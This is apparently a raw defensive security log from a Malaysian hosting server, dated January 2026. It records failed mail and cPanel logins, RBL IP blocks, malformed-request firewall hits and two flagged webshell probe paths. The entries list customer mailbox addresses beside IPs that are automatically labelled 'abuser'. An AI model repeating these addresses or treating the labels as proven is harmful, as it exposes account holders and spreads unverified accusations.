IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:17:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14752: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:17:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14753: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:41391: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.191.132
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=903141 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.81.74.244
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=2&sub=7 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.68.189.82
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=306191 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.249
country_id: 3175395
description:
Jan 13 15:18:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-01-13 15:18:47 dovecot_login authenticator failed for H=([114.202.80.152]) [114.202.80.152]:40783: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.77.245
country_id: 1831722
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=967984 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.202.80.152
country_id: 1835841
description:
Jan 13 15:18:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.202.80.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:19:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:41391: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.189.161.26
country_id: 1861060
description:
2026-01-13 15:21:34 dovecot_plain authenticator failed for H=softbank111189161026.bbtec.net (smtpclient.apple) [111.189.161.26]:33413: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.189.161.26
country_id: 1861060
description:
2026-01-13 15:22:25 dovecot_plain authenticator failed for H=softbank111189161026.bbtec.net (smtpclient.apple) [111.189.161.26]:36383: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 13 15:23:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 13 15:23:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.15
country_id: 3469034
description:
Jan 13 15:23:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.98
country_id: 226074
description:
Jan 13 15:23:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.170.250
country_id: 3469034
description:
Jan 13 15:23:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.170.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.164.208.75
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/road/10/609/1005031 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.187.167.234
country_id: 6252001
description:
Jan 13 15:26:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.187.167.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.187.167.234
country_id: 6252001
description:
2026-01-13 15:26:57 dovecot_login authenticator failed for H=wsip-98-187-167-234.fv.ks.cox.net [98.187.167.234]:45518: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59802: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59804: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.147
country_id: 798544
description:
Jan 13 15:30:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 15:29:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.26
country_id: 226074
description:
Jan 13 15:29:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55570: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.195.150
country_id: 290557
description:
Jan 13 15:30:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.195.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-01-13 15:30:04 dovecot_plain authenticator failed for H=(ancenness) [91.73.195.150]:45541: 535 Incorrect authentication data (set_id=laifun.lee@tujusetia.my)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
	cpanel::cpsrvd::do_token_denied("login failed", HASH(0x1c82ce0), undef, "jupiter") called at cpsrvd.pl line 5321


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-13 15:30:23 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-01-13 15:30:44 dovecot_plain authenticator failed for H=(restrallus) [91.73.195.150]:48972: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jan 13 15:31:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:30:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55570: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.147
country_id: 798544
description:
Jan 13 15:30:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-13 15:30:36 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "POST /login HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.195.150
country_id: 290557
description:
Jan 13 15:30:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.195.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jan 13 15:31:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 13 15:34:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.168.38.78
country_id: 1835841
description:
2026-01-13 15:35:51 dovecot_login authenticator failed for H=([112.168.38.78]) [112.168.38.78]:33896: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.168.38.78
country_id: 1835841
description:
Jan 13 15:35:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.168.38.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.136.4
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=54061516587340 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.2.98.126
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=64&page=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.252.129
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27651514882577 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.234
country_id: 798544
description:
Jan 13 15:37:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.92.106
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97251515044148 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jan 13 15:38:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.115.19
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=69&page=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.179.113.73
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=72&page=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.186.107
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=53491523517691 HTTP/1.1||RSV:7.62||T:APACHE||


